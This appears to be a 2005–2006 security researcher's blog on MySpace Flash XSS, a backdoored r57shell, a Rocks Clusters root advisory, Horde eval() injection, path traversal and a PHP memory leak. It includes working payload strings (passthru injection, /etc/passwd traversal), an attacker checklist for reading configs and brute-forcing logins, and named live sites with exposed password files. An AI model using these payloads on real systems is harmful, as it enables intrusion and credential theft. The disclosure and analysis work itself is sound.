Xavier's Security Post

Developers and Disclosure -UPDATE

2006-10-02T12:51:00.000-04:00

Someone got in contact with me, and whoever it was thanks! I was very interested in how that all went down :)

So it appears the MySpace source code was posted by a separate security researcher who discovered the source code in diagnostic error messages. He uploaded to that ShortText site and thats a wrap. The code, as I speculated, is quite old. It turns out, as the anonymous source noted, the cookie structure is quite different than the old one parsed in the user.session source posted below.

Thanks!

OLD POST =================================== BELOW
A few months ago I had emailed security@myspace.com concerning a security vulnerability with their embedded flash objects. Two separate staffers at the company emailed me back asking about the vulnerability. They took my disclosure and information and vanished. Thus they ceased communication with me, and fixed the mentioned holes. Thats the end of the story right? Wrong.

A simple Google'ing yielded an interesting page. It turns out one of the guys who contacted me actually pasted a MySpace.com coldfusion script on a public web site called ShortText. The script is titled user.session and contains several pieces of information that can be sensitive.

After a quick read we note a few things:

Paradox stated an attacker could potentially elevate their user access to PowerUser if two things could be discovered: the "encKey" value and the encryption method.

From the looks of it the cookie structure is something like this:

UserID

UserType

We can speculate, by reading the disclosed user.session source, that the cookie can be manipulated into elevating a users account from regular user to power user, or even moderator. It must be noted that the script was uploaded some time ago so we're only able to critique a potentially obsolete script.

A determined attacker can do several things--encrypt an arbitrary cookie using several schemes present and accessible to ColdFusion and .Net the likes of RC5, 3DES, AES etc, then base64 the output and compare the hash to actual MySpace cookies. Somewhere along the line you'll figure out other parts to the attack, or give up. An attacker could also pose as the codes "Author" and contact the "Debug" guy and play a game. Can you social engineer a MySpace developer?

Deception within Obfuscation

2006-09-12T08:45:00.000-04:00

A few days ago "full_disclosure full_disclosure" posted on [Full Disclosure] about the present malware in r57shell. As some of you may know; r57shell is a PHP script that is often used by attackers and penetration testers alike in remote and local inclusion scenarios for the sake of having a fully-packed PHP shell interface. When using scripts the likes of r57shell one must always keep in mind that authors of such tools are usually intelligent beings who are capable of smuggling obscure means of deception.

Lets look at a few ways the r57shell developers can spot your attacks, and, even attack the servers you have successfully attacked in accordance to r57shell version 1.31:

1) Lines 1504 to 1510:

In human translation:

In essence the above doesn't look too suspicious but be forewarned--it is quite dangerous. In exhibit 'f' your browser is instructed to view an image from the rst.void.ru web server. The variable 'img' is set to "1" as to almost declare to the developers of r57shell that the incoming IP address is of the attacker. In other words--the developers of r57shell know who attacked what. In exhibit 'g' the server is instructed to read a file off of the rst.void.ru web server. It does not set the variable 'img' to "1" which may indicate that the incoming server is the vulnerable box. That gives the r57shell developers the opportunity to take over the server you are attacking.

To give you an idea of the bad intentions of the code above you have to look at exhibits 'b', 'c', and 'e' as they determine whether or not your server is worthwhile. Internal IP and loopback addresses are useless to an attacker who seems interested in a quick and easy hack. The intent of accessing the vulnerable servers IP address is clear--but what is the intent of the developers knowing your IP address? Blackmale? Accusation? Research purposes? The unknown factor is what is dangerous.

2) The original issue posted on Full Disclosure originally is in lines 1469-1487, 1593 to 1595, and 2204. I am not going to paste the contents of 1469 to 1487 as its a big chunk of base64 code, but the following is its human translation:

.$f

if(empty($c1)||empty($c2)) { die(); }

Clearly it seems the authors of r57shell have attempted, successfully, to spread malware within the form of malware itself.

The backdoored code is still hosted at: http://rst.void.ru/download/r57shell.txt.gz

To their credit though, it's a great tool regardless. Just need to yank out the bad stuff :)

» digg it

Service includes: One Banner, Lots of clicks, One Attack Vector!

2006-07-29T07:33:00.000-04:00

As I pointed out before (in Your Space, My Flash, His Cookies) there are companies out there--even the high profile ones--which are accepting of vulnerable advertisement code. To understand why companies are willing to open up attack vectors on their servers, one has to look at the beginning of it all.

Lets say you just thought of a radical new social-site idea that will make you rich! you start working on the site as a hobby, it turns into a project, and word starts going around to your friends. Feedback is coming into the mix, and now you're at a point where you are signing up with every social-site out there. You're researching their pros, their cons, you hire some consultants (or if you're broke, you'll ask friends) to evaluate your potential competitors.

Now you have extracted all the good, and have retracted all the bad from those sites. Your site goes live, and users start to come in. You start verbally (or textually) getting the word out. Your site has new spanking ideas! It's where all the cool cats hang out on! "It's faster, sleeker, and quite sexy!" you say. Your users are now exceeding ten thousand, and you note that its time to start making money from your investment.

You do some research on your own and decide to either use some service like AdSense, or consider accepting any advertiser who is willing to pay you top bucks for your horde of users. You go with the latter, and after some time some advertisers come your way. As time progressed you decided to put up one of those professional-looking "Advertise with us!" pages. Within you have some rates, or a contact form--along side banner sizes, or even examples of creating a Flash banner. Here is where the first issue arises;

[1] You copy and pasted some ActionScript code for a Flash advertisement scheme that was on some social-site competitor.

You were in a rush and did not research into the possibility that code was vulnerable. That is one vector you opened.

Advertisers have been in contact with you--many of them willing to spend big bucks too--so of course your idea has been a success, bravo. Your user count is five hundred thousand. The site is getting notoriety, the users are becoming obsessed, and the advertisers are throwing funds at you. Until the drama starts.

An attacker discovered an XSS hole in one of the forum pages. He was able to quietly steal the cookies of every user who went to a certain popular site. He first started his conquest by stealing a few vanity accounts--those with cool usernames like "lust" or "security"--then he started trading them, selling them. The attacker was upset one day by a clique of users, and he subsequently, had all of their accounts deleted (thanks due to that nifty self-delete button you added in a rush). Complaints pour in, security researchers discover the attack and report on it. Your precious site is getting a bad rap about security issues. More attackers are attracted to the site. Now you have fuzzing bots searching for holes in every possible variable, users bashing the site on its own forums, and potential advertisers start flocking to your competitors.

You're smart though, right? you managed to create a successful social-site and that itself is not too much of an easy task nowadays. You spent hours combing through your source code--you found several nasty holes and had them patched. In between the drama you were able to utilize the free press you received to unveil a new feature to the site and everybody is googoo over it. Advertisers start coming back, and the show is back on the road.

Then one day, in between one to several million users registered, you get a request from an advert to host a Flash banner. It's not an odd request, as it is nothing out of the ordinary. Instead of requesting the source code to the file, you throw into queue. It should only circulate to a certain amount of users, then it comes right off. "What's the point?" you ask yourself before moving onto another equally important topic. The banner goes live, users see ads, others see popups, and a chunk of your users are suddenly infected with malware.

[2] You uploaded a Flash file to your server without verifying the contents within

Not only did you open up an attack vector on your own server, but you compromised your idea entirely for financial gain, and alienated your users.

To get outside of the scenario aforementioned above--the situation itself is a mix between the worms that have been hitting Facebook, MySpace among plenty of others. In fact as recent as this month MySpace allowed an advertiser to upload an arbitrary Flash file which exploited a Windows vulnerability, installed malware on its users, and alienated not only its users, advertisers, investors, but also Netizens who will be extremely wary of going to a site that is potentially arbitrary.

Rocks Clusters <=4.1 local root

2006-07-14T12:40:00.000-04:00

Before May 31st I had discovered several holes in Rocks Clusters, a Linux cluster-friendly distribution. The vulnerabilities are quite trivial, and the bad part is that the suid binaries in question have been circulated with the distribution for a long time without discovery--thus a wide user base is affected. The advisory is below:

tigerteam.se security advisory - TSEAD-200606-6
www.tigerteam.se

Advisory: Rocks Clusters <=4.1 local root vulnerabilities
Date: Wed Jul 5 15:52:59 EDT 2006
Application: mount-loop, umount-loop
Vulnerability: Lack of filtering on arguments allow for privilege escalation
Reference: TSEAD-200606-6
Author: Xavier de Leon - xavier@tigerteam.se

SYNOPSIS

"Rocks is a complete "cluster on a CD" solution for x86 and IA64 Red Hat
Linux COTS clusters. Building a Rocks cluster does not require any
experience in clustering, yet a cluster architect will find a flexible
and programmatic way to redesign the entire software stack just below the
surface (appropriately hidden from the majority of users). Although Rocks
includes the tools expected from any clustering software stack (PBS,
Maui, GM support, Ganglia, etc), it is unique in its simplicity of
installation."[7]

Rocks Clusters <=4.1 is vulnerable to local root privilege escalation
due to improper validating of arguments in two of its suid and world
executable binaries, "mount-loop" and "umount-loop". Rocks Clusters has
an unofficial cluster count[6] of 883 with 41,535 CPUs and 198456.66
FLOPS.

VENDER RESPONSE

May 31, 2006: Initial contact
Jun 1, 2006: Response, Disclosure, Verification of bug,
redirected to another project Contact. Fixed
in CVS[1]
Jun 9, 2006: Attempted contact after 8 days of silence
Jun 28, 2006: Project releases Rocks v4.2 Beta with fix
Jun 30, 2006: Attempted contact after 29 days of silence
Jul 5, 2006: No contact

VULNERABILITIES

1) mount-loop:
mount-loop is a binary that is distributed with suid root and is world
executable.

The problem is the program does not properly filter args
to be used in a system() execution. An attacker could gain root from
command line. A link[2] to its source can be found below.

PoC[4] provided below.

2) umount-loop:
umount-loop is a binary that is distributed with suid root and is world
executable.

The problem is the program does not properly filter args
to be used in a system() execution. An attacker could gain root from
command line. A link[3] to its source can be found below.

PoC[5] provided below.

DISCOVERY

Xavier de Leon
check out http://xavsec.blogspot.com for future sec releases on my part

ABOUT TIGERTEAM.SE

tigerteam.se offers spearhead competence within the areas of vulnerability
assessment, penetration testing, security implementation, and advanced
ethical hacking training. tigerteam.se consists of Michel Blomgren -
company owner (M. Blomgren IT Security) and Xavier de Leon - freelancing IT
security consultant. Together we have worked for organizations in over 15
countries.

REFERENCES

[1]: /rocks/src/roll/base/nodes/rocks-dist.xml?rev=1.10&content-type=text/vnd.viewcvs-markup
[2]: /rocks/src/roll/base/src/dist/mount-loop.c?rev=1.4&content-type=text/vnd.viewcvs-markup
[3]: /rocks/src/roll/base/src/dist/umount-loop.c?rev=1.4&content-type=text/vnd.viewcvs-markup
[4]: http://xavier.tigerteam.se/exploits/rocksmountdirty.sh
[5]: http://xavier.tigerteam.se/exploits/rocksumountdirty.py
[6]: http://www.rocksclusters.org/rocks-register/
[7]: http://distrowatch.com/table.php?distribution=rockscluster

Your Space, My Flash, His Cookies

2006-06-05T18:11:00.000-04:00

I've spent some time looking at Flash files, and the ActionScript code within, looking for vectors of attack. I've found that high profile sites the likes of MySpace, Xanga, and Google (the da vinco promotions) are quick to embed promotional Flash objects on their pages without proper assessment.

Imagine a situation where an advertiser creates a quick and almost seemingly innocent Flash animation, but inside in its Action frames there is something quite wrong. Now imagine the "wrong" I reference is actually the following:

{
getURL(clickTag, "_top");
}

The above code is executed when a user clicks on the banner, and clickTag (for example) is actually a variable with a value specified inside the site (usually something like: "http://adstracking.whatever.com/redir?url=http://ads.hatever.com/ads.aspx?ad=124"). It ends up opening up a vector of attack: Cross Site Scripting. It should be noted that in order for the XSS attack to occur, the victim must click on the image/ad once they've been redirected to the malicious URL.

The vulnerability above is not new, in fact the research was carried out by a firm called "Scan Security Wire" a few years ago. They discovered that advertisers were (and still are) using a simple click tracking mechanism. The code was widely distributed among advertiser sites and affiliates, the problem of course was that it was not properly evaluated. One has to wonder why even to this day, three years after the discovery and updated guide, high profile sites still fall prae to it.

Searching google for "clicktag" produces about thirty thousand pages. Some hits are caches of the vulnerability advisory, others are vulnerable sites, and the rest are advertisers showing clients how to create vulnerable clickTAG-style Flash files. Disinformation.

The following URLs are evidence that high profile advert networks and cooperations are spreading the vulnerability:

MSN, MSN #2 (.pdf), MSN #3, MSN #4, MSN #5, MSN #6, MSN #7, MSN #8, MSN #9, MSN #10, MSN #11
Yahoo (.pdf), Yahoo #2
Doubleclick, Doubleclick #2 (.pdf)

CNN
CNET (.doc)
VH1
CBS
FOX
Oxygen (.pdf)
Forbes
ifilm
MTV
NYTimes
Heise
OSTG / Slashdot (.pdf)

The high profile sites mentioned above are continuously propagating out-dated and vulnerable clickTAG code which will then spread through their advertisers. Those advertisers will turn around and upload their vulnerable .swf files to their web servers, or their marketing networks, and open up the XSS attack vector.

XSS (Cross Site Scripting) is not severe enough that you can execute remote commands on a server, but client-side it can be a mess. The Samy and GodOfTheNoose worms that spread to millions of users worldwide on MySpace (though malicious only in its infection and propagation) cost MySpace hours of work, a multitude of bandwidth costs (due to the spread) and presumably left a bad taste in the mouth of advertisers and cooperate owners of the site.

I've contacted MySpace recently concerning several XSS holes specific to the clickTAG vulnerability, same goes for Xanga. One has to assume a multitude of high profile sites are affected by this bug. Below are some Proof of Concepts of the attack mentioned in this post:

MySpace: #1, #2, #3, #4, #5, #6, #7, #8, #9
Yahoo: #1
Xanga: #1

It should be noted that Google, AOL, and Time (magazine), among others, seem to have directed their advertisers into the right direction by showing real-world examples of working examples that do not compromise their security. Example:
https://adwords.google.co.uk/select/imageguidelines.html

Security through Compression...?

2006-05-14T00:15:00.000-04:00

While messing around with Flash/ActionScript generating products, I ended up at CoffeCup's Password Wizard product page. Several things came to mind; first: the product claims it can password "protect" unlimited pages, second: it contains absolutely NO warnings about lax in security, and three: it seems to have been downloaded by a large number of people.

The idea behind using a third party language and/or object/application to do password protection client side instead of server side is very dangerous. In this case in order for your password 'protection' to work, a user's browser ends up downloading the .swf file as an object and executes it under the web browsers flash plug in. Once the object is executed, you'll see a login window.

The problem lies in the fact that the authentication handling is done inside that .swf file/object. All an attacker has to do is download the flash file and he/she has the opportunity to see whats inside. It is understandable that the common user doesn't have concepts of security in mind, and sees such products as useful tools for their personal web sites. That is where the things turns ugly.

Imagine a situation where an attacker is aiming to break into a server; he spends his time mapping out the target, scanning for common vulnerabilities, and somehow in the mix discovers a loan password.swf in a users directory. He downloads the file, uses GNU strings to simply gather the logins within.

According to some sites you can secure your flash password protecting file by simply compressing it! I found several other sites claiming the same thing -- but lets just note that compressing the file will simply stop one form of seeing the logins. The other form is simply to decompile the flash file. Read my previous posts to get an idea of what kind of damage a that can do.

Back to the hypothetical story though. By now the attacker has either found the logins he was looking for by using his favorite text editor or GNU strings, or he's gone and decompiled the file. Now with logins at hand, he can extend his penetration by gathering the usernames and passwords, and use them towards his advantage if those same logins happened to be used on the server as well.

With free time I looked through Google for password "protected" sites. Surprisingly I was faced with a rather surprising number of hosts hosting these insecure files. Here are a few I found to be interesting:

http://oal.ohio.gov/Board.swf
http://www.wwfpak.org/images/password.swf
http://www.infoaserca.gob.mx/mexbest/password.swf
http://www.iamb.it/en/password.swf

Governments, Non-profit organizations, Financial firms, Educational institutions, and countless other groups of sites are vulnerable.

Who is to blame? the company who sells a product which contains no warnings of its own insecurities, or the user herself for relying on third party applications?

Google/Sony promotional game source code

2006-05-10T14:04:00.000-04:00

Due to request, I went ahead and created an upload of the source code.

The archive file is in .RAR format, so if you have WinRAR or some utility to extract the files within, then great.

Also, it should be noted I put all the main Action Script code into individual text files, but if you have Macromedia 8 and ant access to all the images and other misc. source code, then go open up "main-src.fla". It contains everything from the font to sound and back.

Enjoy.

P.S: if the link doesn't work, just let me know.

Google, Interactive Marketing, and SWF Decompiler

2006-05-07T18:06:00.000-04:00

For weeks Google and Sony have been running a promotion for the film The DaVinci Code. It's even linked right on the front page of Google.com, and if you have a Google/Gmail account (and are logged into it) you can easily participate in the promotion by completing several logic games. And, after enduring repetitive content and subliminal messages referring to The DaVinci Code, you may win some prizes. It is called "Interactive Marketing".

In doing some research, it seems the developers of the logic games themselves are not Google folks, but instead flash designers at BIG SPACESHIP. Sony uses the Google.com link and name brand to promote their film, and thats that. All parties are happy, as would anyone in a business deal be.

Curious, and aware that the promotional games were developed in Flash, I went ahead and used a (recent) favorite toy Sothink SWF Decompiler. With it, I was able to decompile the flash file involved and found a few things of interest.

In Sprite 248 (or __Packages.com.sony.davinci.puzzles.hang.HangPuzzle: which seems to be the code the game where you hang paintings on the wall) starting from line 218 to 222:

if (_loc5)
{
big.utils.Out.info(this, "A WINNER IS YOU");
this.onPuzzleCompleted();
}

The quoted bit, "A WINNER IS YOU", is a reference to a Nintendo game called Pro Wrestling. It's used by old time Nintendo gamers, and posers.

In Sprite 255 (or __Packages.com.sony.davinci.puzzles.sudoku.Sudoku: which seems to be the main code for the sudoku logic game) in function setStartPostion(), starting from line 1250 to 1254:

var _loc3 = $who;
if (_selectedPiece == _pieces[_loc3] && Math.abs(_startPoint.x - _selectedPiece._x) < 4.000000E-001 * _pieceLength[_plIndex])
{
big.utils.Out.info(this, "user is idiot clicking. Tell user to stop it.");
}

Apparently there is a human function called 'idiot clicking'.

In Sprite 255 again, in function checkAnswer() from line 796 to 806:

function checkAnswer()
{
if (_gamePositionObj.toString() == _solutionObj.toString())
{
this.onYouWin();
}
else
{
this.onYouSuck();
} // end else if
} // End of the function

If you search for the onYouSuck() function, you'll find on lines 459 to 463:

function onYouSuck()
{
_board.loseAlert._visible = true;
_board.winAlert._visible = false;
} // End of the function

Again, the same reference from Sprite 248 was used in function onYouWin() from lines 464 to 469:

function onYouWin()
{
big.utils.Out.info(this, "a winner is you!");
delete _target.onEnterFrame;
super.onPuzzleCompleted();
} // End of the function

Finally, in function returnSymbol() on lines 710 to 711:

big.utils.Out.warning(this, "RETURN SYMBOL GOT FUX0RED // $mc._name.substr(0,2) = " + $mc._name.substr(0, 2));
break;

I got a kick out of this one because the developers involved did not censor themselves in saying the user idiot clicks, and sucks, Yet the word "Fuck", or in this case "Fucked" is censored.

In Sprite 258 (or __Packages.com.sony.davinci.puzzles.jigsaw.Jigsaw: which seems to be the main code for the Jigsaw game) on line 397 you see all the answers listed in a variable called _LEVELDATA. Apparently these are the answers to all the Jigsaw questions:

Level 1: rows: 4, cols: 4, symbols: 0, City Answer: "newyork", "newyorkcity"

Level 2: rows: 4, cols: 4, symbols: 1, City Answer: "rome", "roma"

Level 3: rows: 4, cols: 4, symbols: 4, City Answer: "london", Trivia Answer: "imperialcollegelondon", "imperial", "imperialcollegeofsciencetechnologyandmedicine", "imperialcollege"

Level 4: rows: 4, cols: 4, symbols: 9, City Answer: "paris", Trivia Answer: "square", "squares", "squarenumbers", "squarenumber", "thesquarenumbers", "thesquares"

In Sprite 259 (or __Packages.com.sony.davinci.puzzles.hang.blobs.BlobsPuzzle: seems to be the code for the Blobs game, where there are globs of crap on the paintings and you need to clean them up) starting with function onPuzzleFailed() on line 255 to 261:

function onPuzzleFailed()
{
var _loc2 = "Sorry, there are no more valid pairs.
Click OK to reset the puzzle.";
clearInterval(_interval);
big.utils.Out.debug(this, "you #%%*ed up");
com.sony.davinci.puzzles.Main.showDialog(_loc2, 0, {str: "OK", obj: this, func: resetPuzzle});
} // End of the function

Here we see another censored comment. In function onPuzzleSolved() on lines 262 to 267:

function onPuzzleSolved()
{
clearInterval(_interval);
big.utils.Out.debug(this, "you are teh winnar");
this.onPuzzleCompleted();
} // End of the function

Explanation of above.

UPDATE:

In Sprite 257 (or __Packages.com.sony.davinci.puzzles.hang.observation.Observation: which seems to be the code for the Observation game) inside function resetPuzzle() you see a _LEVELDATA variable set with questions and answers and they go as follows:

Level 1
Questions:
a) In the video, we see Robert Langdon dusting off a classical symbol, one associated with a character we only see a brief glimpse of in the video. What is the name of that oft-gilded symbol?

b) Symbols, and symmetry, can be seen in the most unlikely of places. One such example is the position of the body at the crime scene, which resembles a drawing also depicted on the obverse of the Italian one-euro coin. What is the name of that famous Leonardo Da Vinci drawing?

c) One of the most iconic symbols of the movie is the cryptex, a small cylinder of stacked marble disks, embossed with letters and sealed with brass caps at either end. The twenty-six letters allow for almost twelve million possible password combinations--11,881,376, to be exact. Armed with that knowledge, can you tell us how many dials it has?

Answers:
a) fleurdelis or fleurdelys
b) vitruvianman or thevitruvianman or canonofproportions or proportionsofman or uomovitruviano or luomovitruviano
c) 5 or five

Level 2
Questions:
a) A seemingly-important stone object is extracted from the ground by Silas. What is its shape?

b) An interesting viewpoint is the vantage point from which we last see Silas. What is the last thing we see him touch?

c) During the action in the video, we see many things shattered and destroyed, but what is it that will ultimately be broken?

Answers:
a) octagon or octagonal
b) holywater or font or "baptismalfont
c) silence or thesilence

Level 3
Questions:
a) Speaking of fascinating characters, there's only one letter in the entire video that is clearly written in lower-case. What is that letter?

b) In just one word, the noble Sir Leigh describes the pursuit that both he and you are on. What is that word?

c) And to bring this back to the topic of movie spectacles, how many times is Sir Leigh shown wearing his? His spectacles, that is.

Answers:
a) f
b) quest
c) 7 or seven

Level 4
Questions:
a) Cryptography is all about noticing numbers and patterns. Here's a simple one to start with: how many glass panes are visible on each of the doors to Sir Teabing\'s mansion?

b) Although it refers to words not spoken, we hear it spoken three times. What is that word?

c) This final question will really test your powers of observation. What is the name of the character shown holding a votive candle holder?

Answers:
a) 9 or nine
b) secret or secrets
c) silas

That is it for now, as it seems nothing more of interest lies in the comments. Let me just note: though this post doesn't discuss any specific vulnerabilities, it was fun regardless to sift through this marketing project and see what kind of stuff Google is willing to plaster on their site.

It also should be noted that you can easily use the decompiled code to create a "crack" for all the logic games. all the answers and puzzles can be solved before you even have to put a thought into it.

Horde, eval(), Plesk, cPanel and others

2006-04-19T04:34:00.000-04:00

The last week of march to the first of April it was noted that the Horde framework was vulnerable to two nasty bugs. The first bug allowed attackers to read local system files within jurisdiction of the web servers uid/gid. One may consider that to be a relatively useless bug, but as researchers the likes of rgod have pointed out -- local file inclusions can be nasty. If you inject a bunch of arbitrary requests into an access_log, then include that log -- you can execute code. I've tried it, and was impressed.

However, the situation with the bug referenced above uses readfile(), which doesn't execute the code, just reads and spits out the specified garbage. You can still have fun though, how?

1) Read Horde's configurationm file (../config/conf.php) With luck, you can dump the database remotely. With even more luck, you may find some user hashes in the database, and they'll be valid on the system you're attacking.

2) Check out the system version, /etc/issue, etc and determine the distribution or OS involved. You can then use VMware to setup a similar configuration. With some research you can figure out which files are readable by default for that OS, and possibly use it to your advantage.

3) Read /etc/passwd, though it may be useless these days as rarely any machines leave their hashes in /etc/passwd anymore, you can still gather the systems user list, and use that in turn with THC-Hydra for some brute force action, it may yield results.

4) read the sites' php/cgi source codes, thus opening up the possibility of finding a remote execution vulnerability. If you can find a hole in the webmasters code, you can stop using the readfile() bug and elevate your attack.

NOTE: Do a full site audit on your victim, find path disclosures. This will allow you to map out the systems web server hierachy. I also suggest you scrub the victims IP for other Virtual Hosts, if you can find path disclosures on those sites you'll have a lot more success in your file read path guessing. But hopefully you can find holes in those other sites which will allow you remote execution, right? ;)

NOTE: To 'scrub' IPs for Virtual Hosts, check out a tool by the name of revhosts I've had some nice success with it.

The big advisory though, involved a tiny little line in the middle of a huge frame. An eval() with unsanitized variables right in the mix. OUCH!! The vulnerable code was something along the lines of the following:

<?php
$module = $_GET['module'];
eval('$version = "' . basename($module) . '";');
?>

NOTE: the code above was not the vulnerable code in the Horde help script, I'm just illustrating a vulnerability with similarity. So, the code above looks nasty, ugly. It is also a gaping hole. With a simply GET like the following, you would achieve remote execution (depending on the php/web server configuration that is):

http://victim/target/vulncode.php?module=;".passthru("id").";

One would assume correctly that a high number of machines with Horde 3.0.1-9 and 3.1 distributions are being actively attacked. It almost seems as if the first day I heard of the bug, there were already bots automating attacks on my servers. Geez, that was quick.

My title references Horde, eval(), and two control panels. But why? hmm. perhaps it is the fact that both Plesk and cPanel distribute vulnerable versions of Horde. Oh yes, that's it. The default template for Plesk's Horde installation ends up with the webmail.vhost.com hostname, and cPanel's Horde distribution hides the vulnerable application under an .htaccess, so you'd have to have some sort of account on cPanel in order to get down and exploit it. I'm sure there are other Control Panels which include Horde, I think I've seen an hSphere box or two with it.

I think it's time companies re-evaluate the installation, and reselling of CPs as they are yet another vector of attack.

Thanks to JRoca for the point about Control Panels.

Directory transversal in a can.

2006-03-31T09:33:00.000-05:00

Well, not really in a can, more in a bug, or two. I've always found directory transversal bugs to be fun, and that goes way back to when CGI (common gateway interface) was the way to go. now, you have PHP, and numerous other dynamic web structures. They usually suffer the same kind of bugs, simply because of programming error; it should be known by now that developers should use absolute urls, defined internally.

I've recently audited a few smaller projects that used str_replace to strip out "../" or even "./". The problem with that is that it is very much defeatable.

vuln: str_replace("./","",$path);
attack: "../..//../..//../..//etc/passwd"
result: "../../../etc/passwd"

while

vuln: str_replace("../","",$path);
attack: "../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd"
result: "../../../../../../etc/passwd"

This isn't anything new.

Memory leak: PHP 4.x/<5.1.3-RC1

2006-03-29T11:29:00.000-05:00

Yesterday an individual posted a quasi-advisory on Full Disclosure which caught my eye, for it spewed out text concerning a possible local/remote vulnerability in PHP. The poster was teeter-tottering on the verge of FUD (fear, uncertainty, doubt) almost nervously seeping across the screen and asking developers of PHP sites/projects to filter out all non-usable ASCII characters. He concludes with:

More details to come when we have PHP patches distributed with major
distributions. I might disclose details before to some IDS vendor or other
trusted party.

The title of the post wickedly titled "Critical PHP bug - act ASAP if you are running web with sensitive data", I'm sure he caused a small scare.

Quickly, Stefan Esser replied with:

Hello,

just to stop this:

The bug is a binary safety issue in html_entity_decode. A function that
is not usually used on user input, because user input is usually not
expected in HTML format and then decoded. Even if the function is used
on user input it can only leak memory to a potential attacker if the
decoded user input is send back to the client.

I love how he throws up "just to stop this:" in the mix, almost hinting at the B.S involved in the tree of posts between the original poster and others.

He went on to conclude:

The bug was found in late February by one of the japanese PHP developers
and was fixed in CVS one day later. Because the bug is a local memory
leak it was not considered top critical and is among the usual bugfixes.
PHP 5.1.3-RC1 which was released in the beginning of March already fixes
this issue.

The vulnerability very much exists, and affects a nice chunk of the web. The catch is though, the function vulnerable to the memory leak is rarely used on web applications--which doesn't say much, clever attackers are capable of figuring out a usage.

Here is a PoC I tested on a non-busy server in my LAN; apparently on servers with high volume this can be nasty as it'll output sensitive data from other running applications:

<?php
$user="usernamehere";
$password="mysqlpasswdhere";
$server="127.0.0.1";

$foobar=html_entity_decode($_GET['foo']);
printf("html_entity_decode: %s<br>", $foobar);
?>

I executed the script above with a value of: ?foo=%00(..554 characters), and what I got was interesting. Infact, I saw not only a bunch of garbage data, but values of $user, $password, and $server. ouch, thats not nice. Screenshot below:

As you can see from the image, not only was the username and password leaked, but the mysql server value I had placed. I repeat, though this a serious vulnerability, it is unlikely you'll find many sites that actually utilize the html_entity_decode() function.

I'm sure in a situation where a secured PHP server, with safemode, safedir, execution functions disabled, and plugins lacking--you find a script that is badly coded to a point you can execute PHP code via eval. Since you can't execute arbitrary code, or do anything fancy like local file inclusion to at least read configuration files and the likes, you eval html_entity_decode() so it outputs chunk of memory, repeat rinse and recycle until you have a located a mysql login to some server. Oh, that'll be fun ;) mysqldump anyone?

Neglection!

2006-03-29T11:14:00.000-05:00

Oh my! I sure have left this blog idle for a bit too long, I was starting to miss it! I'll soon post some new True Cracks, and get this show on the road again!

Thoughts on the .wmf 0-day and uses for mischief

2005-12-30T00:11:00.000-05:00

For Security enthusiasts out there reading this post, it should be apparent by now that there is a wide spread hosting of malicious .wmf files out there. Those files exploit a vulnerability in the handling of image metafiles in most of the distributions of Windows from WinME up to XP. Here is CERT's advisory and here is a response from Microsoft. And of course, the blog over at F-Secure is just fantastic in researching the propagation/spread and exploitation of the mentioned .wmf files. Jerome Athias posted a solution on the Full Disclosure list with the following fix:

Note that you can register or unregister shimgvw.dll to enable or
disable WPFV:
- Disable: Start > Run > regsvr32 /u shimgvw.dll

- Enable: Start > Run > regsvr32 shimgvw.dll

disabling shimgvw in this case will alleviate the problem, and once you've installed Microsoft's update, you can enable it again.

now, I have to wonder if attackers are going to take this opportunity to discover XSS holes in _huge_ community sites like MySpace, Xanga, Livejournal, Blackplanet, etc, modify JS/Spacehero-A (like GodOfTheNoose), and create moments of mass exploitation by cleverly using vectors such as .swf embed/redirects to infect large amounts of victims. hmm.

Last words on that MySpace worm (GodOfTheNoose)

2005-12-19T22:29:00.000-05:00

I was able to learn a lot about the XSS worm that affected MySpace a few days ago, and it was a neat little experience. Especially since I was able to take a real live look at it as it actually spread, and affected users. Here are some things that are definitely known:

1) The primary issue was an unsanitized variable by the name of "TheName" which allowed the execution of JavaScript code.
2) A JavaScript (.js) file, which turns out to be a modification of JS/Spacehero-A, was loaded (remotely, from a free host site) and executed under the victims browser.
3) A Flash (.swf) file was created to execute a GetURL() GET request, which included a script src to the JavaScript file mentioned in #2.
4) In the JavaScript file, there were requests to change first, last, and display names, a message from the author was also injected, and the Flash file was embedded into the victims profile.

In essence, visiting an infected profile got you infected. Now, before in my earlier post I said the worm was unsuccessful -- it turns out it did infect and inject itself into as many as 450,000 MySpace users. MySpace has clearly fixed the issue with the unsanitized variable, but as the author of the XSS worm told me -- there are many vectors of attack on the popular website.

One has to wonder though, both JS/Spacehero-A (Samy's worm) and the author of GodOfTheNoose (a variant of JS/Spacehero-A) were non-malicious pieces of code that went as far as editing contents of the victims profile. Will there ever be a situation where a malicious author takes it upon (him|her)self to automate deletions of victim accounts, profile contents, account details? Is MySpace doing anything to prevent further attacks? What can we learn from these mistakes, on behalf of the MySpace developers?

Fin.

Cross Data Domain crossdomain.xml misconfigurations

2005-12-19T12:56:00.000-05:00

While doing research on the previous post, I was faced with a security-sandbox feature implemented by Macromedia Flash. It's called Cross Domain data sharing, and it allows the host serving the .swf flash files the opportunity to define which domains can be accessible to/from the flash files themselves. Using the file "crossdomain.xml", you can secure data sharing (variables, and the likes) down to your own *.domain. I've noticed many sites have utilized this technique, and have configured the crossdomain.xml file correctly.

However, in the case of MySpace we saw what kind of dangers could arise from allowing * domains to share data between each other. Using XML HTTP sends, mixed with crossdomain.xml, XSS attacks can be successful on sites that allow users to embed Flash objects into their dynamic pages.

I've bumped into a few other popular sites that have misconfigurations in their crossdomain.xml files, and the list below showcases them (including MySpace):

http://www.myspace.com/crossdomain.xtml
http://xml.amazon.com/crossdomain.xml
http://api.search.yahoo.co.jp/crossdomain.xml
http://www.flickr.com/crossdomain.xml
http://content.gamebookers.com/crossdomain.xml
http://flash.oprah.com/crossdomain.xml
http://advision.webevents.yahoo.com/crossdomain.xml (every allowed domain except for the first is good)
http://www.jabber.org/crossdomain.xml (target servers running on those defined ports)

The example below shows off sites that actually have configured their crossdomain.xml files correctly:

http://dyn.ifilm.com/crossdomain.xml
http://www.neopets.com/crossdomain.xml
http://www.autodesk.com/crossdomain.xml
http://www.washingtonpost.com/crossdomain.xml
http://psc.disney.go.com/crossdomain.xml
http://www.carthage.edu/crossdomain.xml

New MySpace XSS worm circulating. [UPDATED]

2005-12-18T00:10:00.000-05:00

A good friend of mine, nickg, contacted me about this MySpace XSS worm he ran into. It seems like he caught it right as it propagated, and we were able to dissect its functionality. I posted a bit about it on the OSVDB blog comments (http://www.osvdb.org/blog/?p=51). Thus far, we know several things:

1) This specific attack starts with an embedded .swf Flash file.
2) The flash file uses ActionScript to send a simple GET request to an UNSANITIZED (whew, embarrassing on MySpace's part) variable by the name of TheName.
3) the GET request in #2, then loads a remote .js script.
